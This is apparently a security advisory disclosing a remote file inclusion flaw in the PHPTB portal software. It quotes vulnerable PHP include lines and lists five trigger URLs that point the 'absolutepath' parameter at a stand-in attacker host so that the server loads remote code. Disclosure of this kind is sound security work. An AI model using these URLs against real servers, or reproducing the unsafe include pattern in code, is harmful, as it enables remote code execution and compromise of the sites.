[UNIX] PHPTB Code Injection Vulnerabilities

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  PHPTB Code Injection Vulnerabilities
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SUMMARY

 <http://www.phptb.com/> PHPTB is "an open source portal  / topic board 
system". An input validation flaw in PHPTB code allows malicious attackers 
to cause the server to execute arbitrary code.

DETAILS

The vulnerable code exists in the following files: admin_o.php, 
board_o.php, dev_o.php, file_o.php and tech_o.php:
<?php
include $absolutepath.'classes/smart_o.php';
.. EOF

In dev_o.php and tech_o.php:
..
require $GLOBALS['absolutepath'].'userpass.php';
.. EOF

Examples:
The following URLs can be used to tirgger the vulnerability:
http://[victim]/[dir]/classes/admin_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/board_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/dev_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/file_o.php?absolutepath=http://[hacker_box]/
http://[victim]/[dir]/classes/tech_o.php?absolutepath=http://[hacker_box]/


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Filip 
Groszy ski.



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